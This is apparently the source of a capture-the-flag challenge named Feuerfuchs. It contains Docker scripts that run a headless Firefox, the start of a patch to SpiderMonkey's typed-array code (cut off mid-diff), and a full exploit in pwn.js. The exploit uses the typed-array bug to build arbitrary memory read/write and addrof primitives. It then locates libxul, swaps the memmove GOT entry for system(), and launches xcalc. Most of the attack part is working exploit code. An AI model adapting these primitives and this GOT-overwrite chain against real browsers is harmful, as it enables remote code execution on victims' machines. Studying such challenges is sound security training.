├── README.txt ├── dockerimage ├── Dockerfile ├── docker_build.sh ├── docker_run.sh ├── files │ ├── firefox.tar.bz2 │ └── launch_firefox.sh ├── launch_firefox.sh └── take_screenshot.sh ├── exploit ├── index.html └── pwn.js ├── feuerfuchs.patch ├── feuerfuchs.service ├── generate_token.py ├── package.sh └── server.py /README.txt: -------------------------------------------------------------------------------- 1 | Feuerfuchs 2 | ---------- 3 | 4 | The patch should apply cleanly to the latest release branch of firefox: 5 | 6 | git clone https://github.com/mozilla/gecko-dev.git feuerfuchs 7 | cd feuerfuchs 8 | git checkout origin/release 9 | patch -p1 < ../feuerfuchs.patch 10 | ./mach build 11 | 12 | The dockerimage/ directory contains everything to reproduce the container setup that is used by the challenge server: 13 | 14 | 1. ./docker_build.sh 15 | 16 | 2. ./docker_run.sh 17 | 18 | 3. (in a separate shell) ./launch_firefox.sh $URL 19 | 20 | 4. (optional, also in a separete shell) ./take_screenshot.sh && open screenshot.png 21 | -------------------------------------------------------------------------------- /dockerimage/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN apt-get -y update && \ 4 | apt-get -y install imagemagick xvfb x11-apps libgtk-3-0 libasound2 libdbus-glib-1-2 5 | 6 | RUN groupadd -g 1000 websurfer && useradd -g websurfer -m -u 1000 websurfer -s /bin/bash 7 | USER websurfer 8 | 9 | ADD files/firefox.tar.bz2 /home/websurfer 10 | ADD files/launch_firefox.sh /home/websurfer 11 | 12 | CMD ["bash"] 13 | -------------------------------------------------------------------------------- /dockerimage/docker_build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t saelo/feuerfuchs . 3 | -------------------------------------------------------------------------------- /dockerimage/docker_run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker run -it --rm --name feuerfuchs saelo/feuerfuchs 4 | -------------------------------------------------------------------------------- /dockerimage/files/firefox.tar.bz2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/saelo/feuerfuchs/77b7f3fced72266c3b2291459d5b00d4288d81b1/dockerimage/files/firefox.tar.bz2 -------------------------------------------------------------------------------- /dockerimage/files/launch_firefox.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -ex 4 | 5 | DISPLAY=:1 6 | URL=$1 7 | 8 | Xvfb $DISPLAY -screen 0 1024x600x24 -fbdir /tmp >> /tmp/Xvfb.out 2>&1 & 9 | 10 | DISPLAY=$DISPLAY /home/websurfer/firefox/firefox -setDefaultBrowser $URL 11 | -------------------------------------------------------------------------------- /dockerimage/launch_firefox.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | docker exec feuerfuchs /home/websurfer/launch_firefox.sh $1 4 | -------------------------------------------------------------------------------- /dockerimage/take_screenshot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker exec -it feuerfuchs bash -c 'DISPLAY=:1 import -window root /tmp/screenshot.png' 4 | docker cp feuerfuchs:/tmp/screenshot.png . 5 | -------------------------------------------------------------------------------- /exploit/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 9 | 10 | 11 | 12 | 13 |Please wait...
14 | 15 | 16 | -------------------------------------------------------------------------------- /exploit/pwn.js: -------------------------------------------------------------------------------- 1 | // 2 | // Utility stuff. 3 | // 4 | 5 | // Return the hexadecimal representation of the given byte. 6 | function hex(b) { 7 | return ('0' + b.toString(16)).substr(-2); 8 | } 9 | 10 | // Return the hexadecimal representation of the given byte array. 11 | function hexlify(bytes) { 12 | var res = []; 13 | for (var i = 0; i < bytes.length; i++) 14 | res.push(hex(bytes[i])); 15 | 16 | return res.join(''); 17 | } 18 | 19 | // Return the binary data represented by the given hexdecimal string. 20 | function unhexlify(hexstr) { 21 | if (hexstr.length % 2 == 1) 22 | throw new TypeError("Invalid hex string"); 23 | 24 | var bytes = new Uint8Array(hexstr.length / 2); 25 | for (var i = 0; i < hexstr.length; i += 2) 26 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 27 | 28 | return bytes; 29 | } 30 | 31 | function hexdump(data) { 32 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 33 | data = Array.from(data); 34 | 35 | var lines = []; 36 | for (var i = 0; i < data.length; i += 16) { 37 | var chunk = data.slice(i, i+16); 38 | var parts = chunk.map(hex); 39 | if (parts.length > 8) 40 | parts.splice(8, 0, ' '); 41 | lines.push(parts.join(' ')); 42 | } 43 | 44 | return lines.join('\n'); 45 | } 46 | 47 | function print(msg) { 48 | console.log(msg); 49 | document.body.innerText += msg + '\n'; 50 | } 51 | 52 | // 53 | // Datatype to represent 64-bit integers. 54 | // 55 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 56 | function Int64(v) { 57 | // The underlying byte array. 58 | var bytes = new Uint8Array(8); 59 | 60 | switch (typeof v) { 61 | case 'number': 62 | v = '0x' + Math.floor(v).toString(16); 63 | case 'string': 64 | if (v.startsWith('0x')) 65 | v = v.substr(2); 66 | if (v.length % 2 == 1) 67 | v = '0' + v; 68 | 69 | var bigEndian = unhexlify(v, 8); 70 | bytes.set(Array.from(bigEndian).reverse()); 71 | break; 72 | case 'object': 73 | if (v instanceof Int64) { 74 | bytes.set(v.bytes()); 75 | } else { 76 | if (v.length != 8) 77 | throw TypeError("Array must have excactly 8 elements."); 78 | bytes.set(v); 79 | } 80 | break; 81 | case 'undefined': 82 | break; 83 | default: 84 | throw TypeError("Int64 constructor requires an argument."); 85 | } 86 | 87 | // Return the underlying bytes of this number as array. 88 | this.bytes = function() { 89 | return Array.from(bytes); 90 | }; 91 | 92 | // Return the byte at the given index. 93 | this.byteAt = function(i) { 94 | return bytes[i]; 95 | }; 96 | 97 | // Return the value of this number as unsigned hex string. 98 | this.toString = function() { 99 | return '0x' + hexlify(Array.from(bytes).reverse()); 100 | }; 101 | 102 | // Basic arithmetic. 103 | // These functions assign the result of the computation to their 'this' object. 104 | 105 | // Decorator for Int64 instance operations. Takes care 106 | // of converting arguments to Int64 instances if required. 107 | function operation(f, nargs) { 108 | return function() { 109 | if (arguments.length != nargs) 110 | throw Error("Not enough arguments for function " + f.name); 111 | for (var i = 0; i < arguments.length; i++) 112 | if (!(arguments[i] instanceof Int64)) 113 | arguments[i] = new Int64(arguments[i]); 114 | return f.apply(this, arguments); 115 | }; 116 | } 117 | 118 | // this == other 119 | this.equals = operation(function(other) { 120 | for (var i = 0; i < 8; i++) { 121 | if (this.byteAt(i) != other.byteAt(i)) 122 | return false; 123 | } 124 | return true; 125 | }, 1); 126 | 127 | // this = -n (two's complement) 128 | this.assignNeg = operation(function neg(n) { 129 | for (var i = 0; i < 8; i++) 130 | bytes[i] = ~n.byteAt(i); 131 | 132 | return this.assignAdd(this, Int64.One); 133 | }, 1); 134 | 135 | // this = a + b 136 | this.assignAdd = operation(function add(a, b) { 137 | var carry = 0; 138 | for (var i = 0; i < 8; i++) { 139 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 140 | carry = cur > 0xff | 0; 141 | bytes[i] = cur; 142 | } 143 | return this; 144 | }, 2); 145 | 146 | // this = a - b 147 | this.assignSub = operation(function sub(a, b) { 148 | var carry = 0; 149 | for (var i = 0; i < 8; i++) { 150 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 151 | carry = cur < 0 | 0; 152 | bytes[i] = cur; 153 | } 154 | return this; 155 | }, 2); 156 | 157 | // this = a << 1 158 | this.assignLShift1 = operation(function lshift1(a) { 159 | var highBit = 0; 160 | for (var i = 0; i < 8; i++) { 161 | var cur = a.byteAt(i); 162 | bytes[i] = (cur << 1) | highBit; 163 | highBit = (cur & 0x80) >> 7; 164 | } 165 | return this; 166 | }, 1); 167 | 168 | // this = a >> 1 169 | this.assignRShift1 = operation(function rshift1(a) { 170 | var lowBit = 0; 171 | for (var i = 7; i >= 0; i--) { 172 | var cur = a.byteAt(i); 173 | bytes[i] = (cur >> 1) | lowBit; 174 | lowBit = (cur & 0x1) << 7; 175 | } 176 | return this; 177 | }, 1); 178 | 179 | // this = a & b 180 | this.assignAnd = operation(function and(a, b) { 181 | for (var i = 0; i < 8; i++) { 182 | bytes[i] = a.byteAt(i) & b.byteAt(i); 183 | } 184 | return this; 185 | }, 2); 186 | } 187 | 188 | // Constructs a new Int64 instance with the same bit representation as the provided double. 189 | Int64.fromJSValue = function(bytes) { 190 | bytes[7] = 0; 191 | bytes[6] = 0; 192 | return new Int64(bytes); 193 | }; 194 | 195 | // Convenience functions. These allocate a new Int64 to hold the result. 196 | 197 | // Return ~n (two's complement) 198 | function Neg(n) { 199 | return (new Int64()).assignNeg(n); 200 | } 201 | 202 | // Return a + b 203 | function Add(a, b) { 204 | return (new Int64()).assignAdd(a, b); 205 | } 206 | 207 | // Return a - b 208 | function Sub(a, b) { 209 | return (new Int64()).assignSub(a, b); 210 | } 211 | 212 | function LShift1(a) { 213 | return (new Int64()).assignLShift1(a); 214 | } 215 | 216 | function RShift1(a) { 217 | return (new Int64()).assignRShift1(a); 218 | } 219 | 220 | function And(a, b) { 221 | return (new Int64()).assignAnd(a, b); 222 | } 223 | 224 | function Equals(a, b) { 225 | return a.equals(b); 226 | } 227 | 228 | // Some commonly used numbers. 229 | Int64.Zero = new Int64(0); 230 | Int64.One = new Int64(1); 231 | 232 | 233 | function pwn() { 234 | // Allocate multiple ArrayBuffers of the largest size such that the data is still stored inline 235 | var buffers = []; 236 | for (var i = 0; i < 100; i++) { 237 | buffers.push(new ArrayBuffer(96)); 238 | } 239 | 240 | var view = new Uint8Array(buffers[79]); 241 | var hax = { valueOf: function() { view.offset = 88; return 0; } }; 242 | 243 | // Trigger the bug first time to leak the data pointer of the following ArrayBuffer 244 | view.copyWithin(hax, 32+8, 40+8); 245 | 246 | // First qword in adjusted view now contains the data pointer (which is stored as a Private, thus needs to be shifted) 247 | var ptr = LShift1(new Int64(view)); 248 | // ptr will point to inline data so we can calculate the address of the preceeding ArrayBuffer 249 | var addressOfInnerArrayBuffer = Sub(ptr, 8*8 + 8*8 + 8*12); 250 | 251 | // Trigger the bug a second time to write the modified data pointer 252 | view.set(RShift1(addressOfInnerArrayBuffer).bytes()); 253 | view.offset = 0; 254 | view.copyWithin(32+8, hax, 8); 255 | 256 | // Look for the modified ArrayBuffer 257 | var buffer = null; 258 | for (var i = 0; i < buffers.length; i++) { 259 | var ab = new Uint32Array(buffers[i]); 260 | if (ab[3] != 0) { 261 | buffer = buffers[i]; 262 | break; 263 | } 264 | } 265 | if (buffer == null) { 266 | print("Failed"); 267 | return; 268 | } 269 | 270 | // |outer| is a byte view onto the corrupted ArrayBuffer which now allows us to arbitrarily modify the ArrayBuffer |inner| 271 | var inner = buffers[79]; 272 | var outer = new Uint8Array(buffer); 273 | 274 | // Increase the size of the inner ArrayBuffer 275 | outer[43] = 0x1; 276 | 277 | // Object to access the process' memory 278 | var memory = { 279 | write: function(addr, data) { 280 | // Set data pointer of |inner| 281 | outer.set(RShift1(addr).bytes(), 32); 282 | // Uint8Array's cache the data pointer of the underlying ArrayBuffer 283 | var innerView = new Uint8Array(inner); 284 | innerView.set(data); 285 | }, 286 | read: function(addr, length) { 287 | // Set data pointer of |inner| 288 | outer.set(RShift1(addr).bytes(), 32); 289 | // Uint8Array's cache the data pointer of the underlying ArrayBuffer 290 | var innerView = new Uint8Array(inner); 291 | return innerView.slice(0, length); 292 | }, 293 | readPointer: function(addr) { 294 | return new Int64(this.read(addr, 8)); 295 | }, 296 | addrof: function(obj) { 297 | // To leak the address of |obj|, we set it as property of the |inner| 298 | // ArrayBuffer, then leak that using the existing read() method. 299 | inner.leakMe = obj; 300 | var addressOfSlotsArray = this.readPointer(Add(addressOfInnerArrayBuffer, 2*8)); 301 | return Int64.fromJSValue(this.read(addressOfSlotsArray, 8)); 302 | }, 303 | }; 304 | 305 | // This is super hackish: we replace memmove() with system(), then call 306 | // TypedArray.copyWithin, which at some point calls memmove with the first argument 307 | // pointing to controlled data. 308 | // Since a different memmove implementation is chosen at runtime based on the platform, 309 | // we use a different libc function (sscanf) to calculate the address of system() 310 | 311 | // f297eab40327e83abccb1803a50edfac /lib/x86_64-linux-gnu/libc.so.6 312 | var systemToSscanf = 0x6a890 - 0x45390; 313 | 314 | // Firefox 50.1 Ubuntu x64 315 | // readelf --relocs libxul.so | grep memmove 316 | var memmoveOffset = 0x4b1e160; 317 | // readelf --relocs libxul.so | grep sscanf 318 | var sscanfOffset = 0x4b1e198; 319 | // ??? TODO get rid of this and implement bit masks instead for the following function 320 | var maxFuncOffset = 0x410; 321 | 322 | function findElfStart(addr) { 323 | while (true) { 324 | var d = memory.read(addr, 4); 325 | if (d[0] == 0x7f && d[1] == 0x45 && d[2] == 0x4c && d[3] == 0x46) { 326 | return addr; 327 | } 328 | addr = Sub(addr, 0x1000); 329 | } 330 | } 331 | 332 | // Read the native function pointer of Math.max (Any native function would do) 333 | // and calculate the base address of XUL from that. 334 | var moduleBase = memory.readPointer(Add(memory.addrof(Math.max), 40)); 335 | var moduleBase = findElfStart(Sub(moduleBase, maxFuncOffset)); 336 | print("XUL Base address: " + moduleBase.toString()); 337 | 338 | var addressOfMemmovePointer = Add(moduleBase, memmoveOffset); 339 | var addressOfSscanfPointer = Add(moduleBase, sscanfOffset); 340 | 341 | var addressOfSscanf = memory.readPointer(addressOfSscanfPointer); 342 | print("sscanf @ " + addressOfSscanf.toString()); 343 | 344 | var addressOfMemmove = memory.readPointer(addressOfMemmovePointer); 345 | print("memmove @ " + addressOfMemmove.toString()); 346 | 347 | var addressOfSystem = Sub(addressOfSscanf, systemToSscanf); 348 | print("system @ " + addressOfSystem.toString()); 349 | 350 | var target = new Uint8Array(100); 351 | var cmd = "/usr/bin/xcalc"; 352 | for (var i = 0; i < cmd.length; i++) { 353 | target[i] = cmd.charCodeAt(i); 354 | } 355 | memory.write(addressOfMemmovePointer, addressOfSystem.bytes()); 356 | target.copyWithin(0, 1); 357 | memory.write(addressOfMemmovePointer, addressOfMemmove.bytes()); 358 | 359 | print("Done"); 360 | } 361 | -------------------------------------------------------------------------------- /feuerfuchs.patch: -------------------------------------------------------------------------------- 1 | diff --git a/js/src/vm/TypedArrayObject.cpp b/js/src/vm/TypedArrayObject.cpp 2 | index 55644b1..d1cc250 100644 3 | --- a/js/src/vm/TypedArrayObject.cpp 4 | +++ b/js/src/vm/TypedArrayObject.cpp 5 | @@ -1279,7 +1279,13 @@ JS_FOR_EACH_TYPED_ARRAY(CHECK_TYPED_ARRAY_CONSTRUCTOR) 6 | static bool 7 | TypedArray_lengthGetter(JSContext* cx, unsigned argc, Value* vp) 8 | { 9 | - return TypedArrayObject::Getter